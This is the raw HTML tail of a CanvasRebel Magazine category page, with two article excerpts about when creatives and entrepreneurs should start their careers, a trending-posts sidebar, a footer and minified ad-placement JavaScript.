srcset='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-112x112.jpg 2x' class='avatar avatar-56 photo' height='56' width='56' decoding='async'/></span><span class="post_author_by">By</span><span class="post_author_name">Stories & Insights</span></a><span class="post_meta_item post_date"><a href="https://canvasrebel.com/important-lessons-learned-at-a-prior-job-125/">September 14, 2026</a></span><a href="https://canvasrebel.com/important-lessons-learned-at-a-prior-job-125/#respond" class="post_meta_item post_meta_comments icon-comment-light"><span class="post_meta_number">0</span><span class="post_meta_label">Comments</span></a></div><p><a class="more-link" href="https://canvasrebel.com/important-lessons-learned-at-a-prior-job-125/">Read more</a></p> </div><!-- .entry-content --> 832</article> 833<article id="post-2301835" data-post-id="2301835" 834 class="post_item post_item_container post_layout_excerpt post_format_standard post-2301835 post type-post status-publish format-standard has-post-thumbnail hentry category-strategy"> 835 <div class="post_featured with_thumb hover_inherit"><img loading="lazy" width="850" height="541" src="https://cdn.canvasrebel.com/wp-content/uploads/2026/09/c-1787632773968-personal_1787632773626_1787632773626_dar_rosad
835o_darlenerosado_artworksandportraits-7v2-copy-850x541.jpg" class="attachment-kicker-thumb-big size-kicker-thumb-big wp-post-image" alt="Woman with glasses sitting on a red sofa surrounded by abstract paintings in an art studio." decoding="async" /> <div class="mask"></div> 836 <a href="https://canvasrebel.com/do-you-wish-you-had-started-your-creative-career-sooner-or-later-39/" aria-hidden="true" class="icons"></a> 837 </div> <div class="post_header entry-header"> 838 <div class="post_category"><div class="post_meta"><span class="post_meta_item post_categories"><a href="https://canvasrebel.com/category/strategy/" rel="category tag">Strategy</a></span></div></div> 839 <h1 class="post_title entry-title h1"><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-creative-career-sooner-or-later-39/" rel="bookmark">Do you wish you had started your creative career sooner or later?</a></h1> </div><!-- .post_header --> 840 <div class="post_content entry-content"> 841 <div class="post_content_inner">Everyday, somewhere, there is an aspiring artist or creative daydreaming about pursing their creative career full time. Everyday, there are countless creatives thinking about whether to pursue their passion more seriously and so we wanted to hear from folks who’ve made the leap. We asked them to reflect on if they wish they had started…</div><div class="post_meta"><a class="post_meta_item post_author" rel="author" href="https://canvasrebel.com/author/canvasrebeleditor/"><span class="post_author_avatar"><img alt='Avatar photo' src='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-56x56.jpg' srcset='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-112x112.jpg 2x' class='avatar avatar-56 photo' height='56' width='56' decoding='async'/></span><span class="post_author_by">By</span><span class="post_author_name">Stories & Insights</span></a><span class="post_meta_item post_date"><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-creative-career-sooner-or-later-39/">September 14, 2026</a></span><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-creative-career-sooner-or-later-39/#respond" class="post_meta_item post_meta_comments icon-comment-light"><span class="post_meta_number">0</span><span class="post_meta_label">Comments</span></a></div><p><a class="more-link" href="https://canvasrebel.com/do-you-wish-you-had-started-your-creative-career-sooner-or-later-39/">Read more</a></p> </div><!-- .entry-content --> 842</article> 843<article id="post-2301833" data-post-id="2301833" 844 class="post_item post_item_container post_layout_excerpt post_format_standard post-2301833 post type-post status-publish format-standard has-post-thumbnail hentry category-strategy"> 845 <div class="post_featured with_thumb hover_inherit"><img loading="lazy" width="850" height="541" src="https://canvasrebel.com/wp-content/uploads/2026/09/c-1787976824417-personal_1787976824078_1787976824078_porsha_gaines_1000017640-1536x1188-1-850x541.png" class="attachment-kicker-thumb-big size-kicker-thumb-big wp-post-image" alt="" decoding="async" /> <div class="mask"></div> 846 <a href="https://canvasrebel.com/do-you-wish-you-had-started-your-business-sooner-or-later-138/" aria-hidden="true" class="icons"></a> 847 </div> <div class="post_header entry-header"> 848 <div class="post_category"><div class="post_meta"><span class="post_meta_item post_categories"><a href="https://canvasrebel.com/category/strategy/" rel="category tag">Strategy</a></span></div></div> 849 <h1 class="post_title entry-title h1"><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-business-sooner-or-later-138/" rel="bookmark">Do you wish you had started your business sooner or later?</a></h1> </div><!-- .post_header --> 850 <div class="post_content entry-content"> 851 <div class="post_content_inner">Almost every entrepreneur has had to decide whether to take the leap now or wait– perhaps they wanted to acquire more capital, experience or connections. Given how common this predicament is, we asked some successful business owners to reflect back on whether they wish they had started sooner or waited for a better time. 852Porsha…</div><div class="post_meta"><a class="post_meta_item post_author" rel="author" href="https://canvasrebel.com/author/canvasrebeleditor/"><span class="post_author_avatar"><img alt='Avatar photo' src='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-56x56.jpg' srcset='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-112x112.jpg 2x' class='avatar avatar-56 photo' height='56' width='56' decoding='async'/></span><span class="post_author_by">By</span><span class="post_author_name">Stories & Insights</span></a><span class="post_meta_item post_date"><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-business-sooner-or-later-138/">September 14, 2026</a></span><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-business-sooner-or-later-138/#respond" class="post_meta_item post_meta_comments icon-comment-light"><span class="post_meta_number">0</span><span class="post_meta_label">Comments</span></a></div><p><a class="more-link" href="https://canvasrebel.com/do-you-wish-you-had-started-your-business-sooner-or-later-138/">Read more</a></p> </div><!-- .entry-content --> 853</article> 854 </div> 855 <nav class="navigation pagination" aria-label="Posts pagination"> <h2 class="screen-reader-text">Posts pagination</h2> <div class="nav-links"><span aria-current="page" class="page-numbers current"><span class="meta-nav screen-reader-text">Page </span>1</span><a class="page-numbers" href="https://canvasrebel.com/category/strategy/page/2/"><span class="meta-nav screen-reader-text">Page </span>2</a><a class="page-numbers" href="https://canvasrebel.com/category/strategy/page/3/"><span class="meta-nav screen-reader-text">Page </span>3</a><span class="page-numbers dots">…</span><a class="page-numbers" href="https://canvasrebel.com/category/strategy/page/251/"><span class="meta-nav screen-reader-text">Page </span>251</a><a class="next page-numbers" href="https://canvasrebel.com/category/strategy/page/2/">></a></div> </nav> </div> 856 <div class="sidebar widget_area 857 right sidebar_below sidebar_default " role="complementary"> 858 <a id="sidebar_skip_link_anchor" class="kicker_skip_link_anchor" href="#"></a> 859 <div class="sidebar_inner">
860 <aside class="widget widget_recent_posts"><div class="sc_recent_posts_title_type_default"><h5 class="widget_title">Trending Posts</h5></div><div class="sc_recent_posts type_default"><article class="post_item with_thumb"><div class="post_thumb"><a href="https://canvasrebel.com/meet-desirae-newell/"><img loading="lazy" width="120" height="120" src="https://cdn.canvasrebel.com/wp-content/uploads/2024/07/c-1719033075803-personal_desirae_newell_img_5531-120x120.jpg" class="attachment-kicker-thumb-tiny size-kicker-thumb-tiny wp-post-image" alt="Meet Desirae Newell" decoding="async" srcset="https://cdn.canvasrebel.com/wp-content/uploads/2024/07/c-1719033075803-personal_desirae_newell_img_5531-120x120.jpg 120w, https://cdn.canvasrebel.com/wp-content/uploads/2024/07/c-1719033075803-personal_desirae_newell_img_5531-150x150.jpg 150w, https://cdn.canvasrebel.com/wp-content/uploads/2024/07/c-1719033075803-personal_desirae_newell_img_5531-300x300.jpg 300w, https://cdn.canvasrebel.com/wp-content/uploads/2024/07/c-1719033075803-personal_desirae_newell_img_5531-160x160.jpg 160w, https://cdn.canvasrebel.com/wp-content/uploads/2024/07/c-1719033075803-personal_desirae_newell_img_5531-80x80.jpg 80w, https://cdn.canvasrebel.com/wp-content/uploads/2024/07/c-1719033075803-personal_desirae_newell_img_5531-370x370.jpg 370w" sizes="(max-width: 120px) 100vw, 120px" /></a></div><div class="post_content"><h6 class="post_title"><a href="https://canvasrebel.com/meet-desirae-newell/">Meet Desirae Newell</a></h6><div class="post_info"><span class="post_info_item post_info_posted"><a href="https://canvasrebel.com/meet-desirae-newell/" class="post_info_date">July 8, 2050</a></span></div></div></article><article class="post_item with_thumb"><div class="post_thumb"><a href="https://canvasrebel.com/meet-karina-febles/"><img loading="lazy" width="68" height="120" src="https://canvasrebel.com/wp-content/uploads/2026/09/c-1788114680630-personal_1788114681337_1788114681337_karina_febles_img_2402.jpeg" class="attachment-kicker-thumb-tiny size-kicker-thumb-tiny wp-post-image" alt="Meet Karina Febles" decoding="async" srcset="https://canvasrebel.com/wp-content/uploads/2026/09/c-1788114680630-personal_1788114681337_1788114681337_karina_febles_img_2402.jpeg 1152w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1788114680630-personal_1788114681337_1788114681337_karina_febles_img_2402-169x300.jpeg 169w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1788114680630-personal_1788114681337_1788114681337_karina_febles_img_2402-576x1024.jpeg 576w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1788114680630-personal_1788114681337_1788114681337_karina_febles_img_2402-768x1365.jpeg 768w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1788114680630-personal_1788114681337_1788114681337_karina_febles_img_2402-864x1536.jpeg 864w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1788114680630-personal_1788114681337_1788114681337_karina_febles_img_2402-370x658.jpeg 370w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1788114680630-personal_1788114681337_1788114681337_karina_febles_img_2402-1080x1920.jpeg 1080w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1788114680630-personal_1788114681337_1788114681337_karina_febles_img_2402-865x1538.jpeg 865w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1788114680630-personal_1788114681337_1788114681337_karina_febles_img_2402-642x1141.jpeg 642w" sizes="(max-width: 68px) 100vw, 68px" /></a></div><div class="post_content"><h6 class="post_title"><a href="https://canvasrebel.com/meet-karina-febles/">Meet Karina Febles</a></h6><div class="post_info"><span class="post_info_item post_info_posted"><a href="https://canvasrebel.com/meet-karina-febles/" class="post_info_date">September 24, 2026</a></span></div></div></article><article class="post_item with_thumb"><div class="post_thumb"><a href="https://canvasrebel.com/meet-sadiya-murtala/"><img loading="lazy" width="120" height="80" src="https://canvasrebel.com/wp-content/uploads/2026/09/c-1787515116177-personal_1787515115898_1787515115898_sadiya_murtala_headshot.jpg" class="attachment-kicker-thumb-tiny size-kicker-thumb-tiny wp-post-image" alt="Meet Sadiya Murtala" decoding="async" srcset="https://canvasrebel.com/wp-content/uploads/2026/09/c-1787515116177-personal_1787515115898_1787515115898_sadiya_murtala_headshot.jpg 1500w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1787515116177-personal_1787515115898_1787515115898_sadiya_murtala_headshot-300x200.jpg 300w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1787515116177-personal_1787515115898_1787515115898_sadiya_murtala_headshot-1024x683.jpg 1024w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1787515116177-personal_1787515115898_1787515115898_sadiya_murtala_headshot-768x512.jpg 768w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1787515116177-personal_1787515115898_1787515115898_sadiya_murtala_headshot-370x247.jpg 370w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1787515116177-personal_1787515115898_1787515115898_sadiya_murtala_headshot-630x427.jpg 630w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1787515116177-personal_1787515115898_1787515115898_sadiya_murtala_headshot-1290x860.jpg 1290w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1787515116177-personal_1787515115898_1787515115898_sadiya_murtala_headshot-1080x720.jpg 1080w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1787515116177-personal_1787515115898_1787515115898_sadiya_murtala_headshot-865x577.jpg 865w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1787515116177-personal_1787515115898_1787515115898_sadiya_murtala_headshot-642x428.jpg 642w" sizes="(max-width: 120px) 100v
860w, 120px" /></a></div><div class="post_content"><h6 class="post_title"><a href="https://canvasrebel.com/meet-sadiya-murtala/">Meet Sadiya Murtala</a></h6><div class="post_info"><span class="post_info_item post_info_posted"><a href="https://canvasrebel.com/meet-sadiya-murtala/" class="post_info_date">September 24, 2026</a></span></div></div></article></div></aside> </div> 861 </div> 862 <div class="clearfix"></div> 863 </div> 864 </div> 865 <a id="footer_skip_link_anchor" class="kicker_skip_link_anchor" href="#"></a> 866 <footer class="footer_wrap footer_custom footer_custom_4060 footer_custom_footer-style-2 scheme_dark "> 867 <div data-elementor-type="cpt_layouts" data-elementor-id="4060" class="elementor elementor-4060" data-elementor-post-type="cpt_layouts"> 868 <section class="elementor-section elementor-top-section elementor-element elementor-element-bf2fea2 elementor-section-boxed elementor-section-height-default elementor-section-height-default sc_fly_static" data-id="bf2fea2" data-element_type="section" data-e-type="section"> 869 <div class="elementor-container elementor-column-gap-extended"> 870 <div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-00bb7c3 sc_layouts_column_align_center sc_layouts_column sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="00bb7c3" data-element_type="column" data-e-type="column"> 871 <div class="elementor-widget-wrap elementor-element-populated"> 872 <div class="sc_layouts_item elementor-element elementor-element-d61f833 sc_fly_static elementor-widget elementor-widget-spacer" data-id="d61f833" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 873 <div class="elementor-widget-container"> 874 <div class="elementor-spacer"> 875 <div class="elementor-spacer-inner"></div> 876 </div> 877 </div> 878 </div> 879 <div class="sc_layouts_item elementor-element elementor-element-5cf4e56 sc_fly_static elementor-widget elementor-widget-trx_sc_layouts_logo" data-id="5cf4e56" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_layouts_logo.default"> 880 <div class="elementor-widget-container"> 881 <a href="https://canvasrebel.com/" 882 class="sc_layouts_logo sc_layouts_logo_default trx_addons_inline_2086289821" ><img class="logo_image" 883 src="//cdn.canvasrebel.com/wp-content/uploads/2020/04/logo-white.png" 884 srcset="//cdn.canvasrebel.com/wp-content/uploads/2020/04/logo-white.png 2x" 885 alt="CanvasRebel Magazine" ></a> </div> 886 </div> 887 <div class="sc_layouts_item elementor-element elementor-element-88f8c2e sc_fly_static elementor-widget elementor-widget-spacer" data-id="88f8c2e" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 888 <div class="elementor-widget-container"> 889 <div class="elementor-spacer"> 890 <div class="elementor-spacer-inner"></div> 891 </div> 892 </div> 893 </div> 894 <div class="sc_layouts_item elementor-element elementor-element-857f9b6 sc_fly_static elementor-widget elementor-widget-trx_sc_layouts_menu" data-id="857f9b6" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_layouts_menu.default"> 895 <div class="elementor-widget-container"> 896 <nav class="sc_layouts_menu sc_layouts_menu_default sc_layouts_menu_dir_horizontal menu_hover_fade" data-animation-in="fadeIn" data-animation-out="fadeOut" ><ul id="menu_footer" class="sc_layouts_menu_nav menu_footer_nav"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-715058"><a href="https://canvasrebel.com/about-canvasrebel/"><span>About CanvasRebel</span></a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-715054"><a href="https://canvasrebel.com/canvasrebel-privacy-terms-of-service/"><span>PRIVACY & TERMS OF SERVICE</span></a></li><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-23037"><a href="https://canvasinterviews.com/recommendations"><span>Suggest a Story</span></a></li></ul></nav><!-- /.sc_layouts_menu --> </div>
897 </div> 898 <div class="sc_layouts_item elementor-element elementor-element-3240252 sc_fly_static elementor-widget elementor-widget-spacer" data-id="3240252" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 899 <div class="elementor-widget-container"> 900 <div class="elementor-spacer"> 901 <div class="elementor-spacer-inner"></div> 902 </div> 903 </div> 904 </div> 905 <div class="sc_layouts_item elementor-element elementor-element-1b284b8 elementor-widget-divider--view-line sc_fly_static elementor-widget elementor-widget-divider" data-id="1b284b8" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 906 <div class="elementor-widget-container"> 907 <div class="elementor-divider"> 908 <span class="elementor-divider-separator"> 909 </span> 910 </div> 911 </div> 912 </div> 913 <div class="sc_layouts_item elementor-element elementor-element-c63ac84 sc_fly_static elementor-widget elementor-widget-spacer" data-id="c63ac84" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 914 <div class="elementor-widget-container"> 915 <div class="elementor-spacer"> 916 <div class="elementor-spacer-inner"></div> 917 </div> 918 </div> 919 </div> 920 <div class="sc_layouts_item elementor-element elementor-element-3a9a608 sc_fly_static elementor-widget elementor-widget-text-editor" data-id="3a9a608" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 921 <div class="elementor-widget-container"> 922 <p style="text-align: left;">CanvasRebel © 2026. All Rights Reserved.</p> </div> 923 </div> 924 <div class="sc_layouts_item elementor-element elementor-element-37bd8f2 sc_fly_static elementor-widget elementor-widget-spacer" data-id="37bd8f2" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 925 <div class="elementor-widget-container"> 926 <div class="elementor-spacer"> 927 <div class="elementor-spacer-inner"></div> 928 </div> 929 </div> 930 </div> 931 </div> 932 </div> 933 </div> 934 </section> 935 </div> 936 </footer><!-- /.footer_wrap --> 937 938 939 </div> 940 941 942 </div> 943 944 945
945<script data-no-optimize='1' data-cfasync='false' id='cls-insertion-e328f0f'>(function(){window.adthriveCLS.buildDate=`2026-09-23`;let e={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},t=[`siteId`,`siteName`,`adOptions`,`breakpoints`,`adUnits`],n=(e,n=t)=>{if(!e)return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;for(let t=0;t<n.length;t++)if(!e[n[t]])return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;return!0},r=()=>window.adthriveCLS;function i(e){"@babel/helpers - typeof";return i=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},i(e)}function a(e,t){if(i(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(i(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function o(e){var t=a(e,`string`);return i(t)==`symbol`?t:t+``}function s(e,t,n){return(t=o(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var c=class{constructor(){s(this,`_clsGlobalData`,r())}get enabled(){return!!this._clsGlobalData&&!!this._clsGlobalData.siteAds&&n(this._clsGlobalData.siteAds)}get error(){return!!(this._clsGlobalData&&this._clsGlobalData.error)}set siteAds(e){this._clsGlobalData.siteAds=e}get siteAds(){return this._clsGlobalData.siteAds}set disableAds(e){this._clsGlobalData.disableAds=e}get disableAds(){return this._clsGlobalData.disableAds}get enabledLocations(){return[e.Below_Post,e.Content,e.Recipe,e.Sidebar]}get injectedFromPlugin(){return this._clsGlobalData.injectedFromPlugin}set injectedFromPlugin(e){this._clsGlobalData.injectedFromPlugin=e}get injectedFromSiteAds(){return this._clsGlobalData.injectedFromSiteAds}set injectedFromSiteAds(e){this._clsGlobalData.injectedFromSiteAds=e}setInjectedSlots(e){this._clsGlobalData.injectedSlots=this._clsGlobalData.injectedSlots||[],this._clsGlobalData.injectedSlots.push(e)}get injectedSlots(){return this._clsGlobalData.injectedSlots}setInjectedVideoSlots(e){this._clsGlobalData.injectedVideoSlots=this._clsGlobalData.injectedVideoSlots||[],this._clsGlobalData.injectedVideoSlots.push(e)}get injectedVideoSlots(){return this._clsGlobalData.injectedVideoSlots}setExperiment(e,t,n=!1){this._clsGlobalData.experiments=this._clsGlobalData.experiments||{},this._clsGlobalData.siteExperiments=this._clsGlobalData.siteExperiments||{};let r=n?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;r[e]=t}getExperiment(e,t=!1){let n=t?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;return n&&n[e]}setWeightedChoiceExperiment(e,t,n=!1){this._clsGlobalData.experimentsWeightedChoice=this._clsGlobalData.experimentsWeightedChoice||{},this._clsGlobalData.siteExperimentsWeightedChoice=this._clsGlobalData.siteExperimentsWeightedChoice||{};let r=n?this._clsGlobalData.siteExperimentsWeightedChoice:this._clsGlobalData.experimentsWeightedChoice;r[e]=t}getWeightedChoiceExperiment(e,t=!1){var n,r;let i=t?(n=this._clsGlobalData)==null?void 0:n.siteExperimentsWeightedChoice:(r=this._clsGlobalData)==null?void 0:r.experimentsWeightedChoice;return i&&i[e]}get bucket(){return this._clsGlobalData.bucket}set videoDisabledFromPlugin(e){this._clsGlobalData.videoDisabledFromPlugin=e}get videoDisabledFromPlugin(){return this._clsGlobalData.videoDisabledFromPlugin}set targetDensityLog(e){this._clsGlobalData.targetDensityLog=e}get targetDensityLog(){return this._clsGlobalData.targetDensityLog}get removeVideoTitleWrapper(){return this._clsGlobalData.siteAds.adOptions.removeVideoTitleWrapper}},l=class{},u=class extends l{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}},d=class{constructor(){s(this,`_featureRollouts`,{}),s(this,`_checkedFeatureRollouts`,new Map),s(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let t=this._featureRollouts[e],n=t.enabled,r=t.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)){let e=(r.pct_enabled??100)/100;n&&=new u(e).get()}return n}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},f=class extends d{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEac
945h(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},p,m;let h=(p=window.adthrive)==null||(p=p.siteAds)==null?void 0:p.featureRollouts,g=(m=window.adthriveCLS)==null||(m=m.siteAds)==null?void 0:m.featureRollouts,_=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,v=new f(_(g)&&g||_(h)&&h||{}),y=new f(window.adthrive&&window.adthrive.siteAds&&`featureRollouts`in window.adthrive.siteAds?window.adthrive.siteAds.featureRollouts??{}:{}),b=e=>e.indexOf(`hbs-q`)===0,ee=({bucket:e,isRolloutEnabled:t}={})=>{var n;let r=e??((n=window.adthrive)==null?void 0:n.bucket);return!(t??y.isRolloutEnabled.bind(y))(`enable-sticky-related`)||b(r||``)},x=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let S=navigator.userAgent,C=x(e=>/Chrom|Applechromium/.test(e||S)),te=x(()=>/WebKit/.test(S)),ne=x(()=>C()?`chromium`:te()?`webkit`:`other`),re=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),ie=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),ae=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,w=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||ae(e),T=x((e=S)=>w(e)?`tablet`:ie(e)&&!w(e)?`mobile`:re(e)?`desktop`:`tablet`),oe={desktop:`desktop`,tablet:`tablet`,phone:`mobile`},se=e=>e===`mobile`?`phone`:e,ce=()=>{var e;let t=((e=window)==null?void 0:e.adthrive)&&`deviceType`in window.adthrive&&window.adthrive.deviceType||null;return t&&Object.values(oe).includes(t)?t:null},le=x((e,t)=>{let n=T(e),r=t??n;return se(r===`tablet`&&n!==r?n:r)}),E=(e=navigator.userAgent)=>le(e,ce()),D=(e=navigator.userAgent)=>E(e)===`phone`;var ue,O=class{static _scheduleViewportUpdate(){this._rafId===null&&(this._rafId=window.requestAnimationFrame(()=>{this._rafId=null,this._updateViewportRects()}))}static _updateViewportRects(){if(this._trackedElements.size===0){this._detachViewportListeners();return}let e=[];this._trackedElements.forEach(t=>{if(!t.isConnected){e.push(t);return}this._cachedRects.set(t,t.getBoundingClientRect())}),e.forEach(e=>{this._trackedElements.delete(e),this._cachedRects.delete(e)}),this._trackedElements.size===0&&this._detachViewportListeners()}static _attachViewportListeners(){this._listenersAttached||=(window.addEventListener(`scroll`,this._viewportListener,{passive:!0}),window.addEventListener(`resize`,this._viewportListener),!0)}static _detachViewportListeners(){this._listenersAttached&&=(window.removeEventListener(`scroll`,this._viewportListener),window.removeEventListener(`resize`,this._viewportListener),!1)}static trackViewportElement(e){e&&(this._trackedElements.has(e)||(this._trackedElements.add(e),this._attachViewportListeners(),this._scheduleViewportUpdate()))}static untrackViewportElement(e){e&&(this._trackedElements.delete(e),this._cachedRects.delete(e),this._trackedElements.size===0&&this._detachViewportListeners())}static getCachedRect(e){return this._cachedRects.get(e)}static getScrollTop(){return(window.pageYOffset||document.documentElement.scrollTop)-(document.documentElement.clientTop||0)}static getScrollBottom(){let e=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight||0;return this.getScrollTop()+e}static shufflePlaylist(e){let t=e.length,n,r;for(;t!==0;)r=Math.floor(Math.random()*e.length),--t,n=e[t],e[t]=e[r],e[r]=n;return e}static isMobileLandscape(){return window.matchMedia(`(orientation: landscape) and (max-height: 480px)`).matches}static playerViewable(e){let t=this._cachedRects.get(e)??e.getBoundingClientRect();return this.playerViewableFromRect(t)}static playerViewableFromRect(e){return this.isMobileLandscape()?window.innerHeight>e.top+e.height/2&&e.top+e.height/2>0:window.innerHeight>e.top+e.height/2}static createQueryString(e){return Object.keys(e).map(t=>`${t}=${e[t]}`).join(`&`)}static createEncodedQueryString(e){return Object.keys(e).map(t=>`${t}=${encodeURIComponent(e[t])}`).join(`&`)}static setMobileLocation(e,t=!1){e||=`bottom-right`;let n=t?`raptive-player-sticky`:`adthrive-collapse`;return e===`top-left`?e=`${n}-top-left`:e===`top-right`?e=`${n}-top-right`:e===`bottom-left`?e=`${n}-bottom-left`:e===`bottom-right`?e=`${n}-bottom-right`:e===`top-center`&&(e=`adthrive-collapse-${D()?`top-center`:`bottom-right`}`),e}static addMaxResolutionQueryParam(e){let t=`max_resolution=${D()?`320`:`1280`}`,[n,r]=String(e).split(`?`);return`${n}?${r?r+`&${t}`:t}`}};ue=O,s(O,`_trackedElements`,new Set),s(O,`_cachedRects`,new WeakMap),s(O,`_rafId`,null),s(O,`_listenersAttached`,!1),s(O,`_viewportListener`,()=>{ue._scheduleViewportUpdate()});let k=(e,t)=>e==null||e!==e?t:e;var de=class{constructor(e){this._clsOptions=e,s(this,`relatedSettings`,void 0),s(this,`players`,void 0),s(this,`removeVideoTitleWrapper`,void 0),s(this,`footerSelector`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.removeVideoTitleWrapper=k(this._clsOptions.siteAds.adOptions.removeVideoTitleWrapper,!1),this.shouldDisableStickyRelated=ee({bucket:this._clsOptions.bucket,isRolloutEnabled:v.isRolloutEnabled.bind(v)});let t=this._clsOptions.siteAds.videoPlayers;this.footerSelector=k(t&&t.footerSelector,``),this.players=k(t&&t.players.map(e=>(e.mobileLocation=O.setMobileLocation(e.mobileLocation),e)),[]),this.relatedSettings=t&&t.contextual}},fe=class{constructor(e){s(this,`mobileStickyPlayerOnPage`,!1),s(this,`collapsiblePlayerOnPage`,!1),s(this,`playlistPlayerAdded`,!1),s(this,`relatedPlayerAdded`,!1),s(this,`collapseSettings`,void 0),s(this,`footerSelector`,``),s(this,`removeVideoTitleWrapper`,!1),s(this,`desktopCollapseSettings`,void 0),s(this,`mobileCollapseSettings`,void 0),s(this,`relatedSettings`,void 0),s(this,`playerId`,void 0),s(this,`playlistId`,void 0),s(this,`desktopRelatedCollapseSettings`,void 0),s(this,`mobileRelatedCollapseSettings`,void 